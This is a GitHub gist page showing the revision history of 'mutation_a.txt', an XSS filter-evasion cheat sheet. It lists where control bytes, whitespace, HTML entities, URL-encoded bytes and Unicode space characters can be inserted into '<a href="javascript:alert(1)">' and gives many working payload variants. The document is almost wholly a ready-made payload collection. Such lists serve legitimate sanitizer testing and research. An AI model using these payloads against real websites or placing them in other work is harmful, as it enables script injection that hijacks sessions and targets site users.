Skip to content

Instantly share code, notes, and snippets.

@Johncs2d

Johncs2d/mutation_a.txt

Forked from hackerscrolls/mutation_a.txt
Created June 17, 2020 14:49
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Johncs2d/33cf3870d0bf60f89ea0029c607b3b6b to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Johncs2d/33cf3870d0bf60f89ea0029c607b3b6b to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @hackerscrolls hackerscrolls revised this gist Jun 17, 2020. 1 changed file with 23 additions and 7 deletions.
    30 changes: 23 additions & 7 deletions mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -1,29 +1,35 @@
    <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

    [1]
    Bytes: \x09 \x0a \x0c \x0d \x20 \x2f
    Bytes:
    \x09 \x0a \x0c \x0d \x20 \x2f

    <a/href="javascript:alert(1)">
    <a\x09href="javascript:alert(1)">

    [2,3]
    Bytes: \x09 \x0a \x0c \x0d \x20
    Bytes:
    \x09 \x0a \x0c \x0d \x20

    <a href\x20="javascript:alert(1)">
    <a href=\x20"javascript:alert(1)">

    [4]
    Bytes: \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
    Bytes:
    \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

    Allowed encodings: HTML
    HTML Encoding:
    &#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;

    <a href="&Tab;javascript:alert(1)">
    <a href="&#x001;javascript:alert(1)">

    [5]
    Bytes: \x09 \x0a \x0d
    Bytes:
    \x09 \x0a \x0d

    Allowed encodings: HTML
    HTML Encoding:
    &#x09; &#x0a; &#x0d;

    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">
    @@ -32,10 +38,20 @@ Allowed encodings: HTML
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

    URL Encode (bytes):
    %09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

    HTML Encode (bytes):
    &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;

    UTF-8 Symbols:
    \u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

    Allowed encodings: HTML, URL
    URL Encode (UTF-8):
    %e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

    HTML Encode (UTF-8):
    &#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff

    <a href="javascript:~alert(1)">
    <a href="javascript://%0d%0aalert(1)">
  2. @hackerscrolls hackerscrolls revised this gist Jun 17, 2020. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -28,7 +28,6 @@ Allowed encodings: HTML
    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">


    [6]
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
  3. @hackerscrolls hackerscrolls created this gist Jun 17, 2020.
    61 changes: 61 additions & 0 deletions mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,61 @@
    <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

    [1]
    Bytes: \x09 \x0a \x0c \x0d \x20 \x2f

    <a/href="javascript:alert(1)">
    <a\x09href="javascript:alert(1)">

    [2,3]
    Bytes: \x09 \x0a \x0c \x0d \x20

    <a href\x20="javascript:alert(1)">
    <a href=\x20"javascript:alert(1)">

    [4]
    Bytes: \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

    Allowed encodings: HTML

    <a href="&Tab;javascript:alert(1)">
    <a href="&#x001;javascript:alert(1)">

    [5]
    Bytes: \x09 \x0a \x0d

    Allowed encodings: HTML

    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">


    [6]
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

    UTF-8 Symbols:
    \u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

    Allowed encodings: HTML, URL

    <a href="javascript:~alert(1)">
    <a href="javascript://%0d%0aalert(1)">
    <a href="javascript:\x0calert(1)">
    <a href="javascript:%ef%bb%bfalert(1)">
    <a href="javascript:&#xfeff;alert(1)">


    -----------------------------------------
    We use char codes to show non printable symbols
    \x00 - ASCII hex code
    \x20 - SPACE
    \x0a - NEW LINE

    \u0000 - UTF-8 char code
    \u1680 - OGHAM SPACE MARK
    \u2028 - LINE SEPARATOR

    Encoding UTF-8 to URL isn’t obvious:
    \u1680 -> %e1%9a%80
    \u2028 -> %e2%80%a8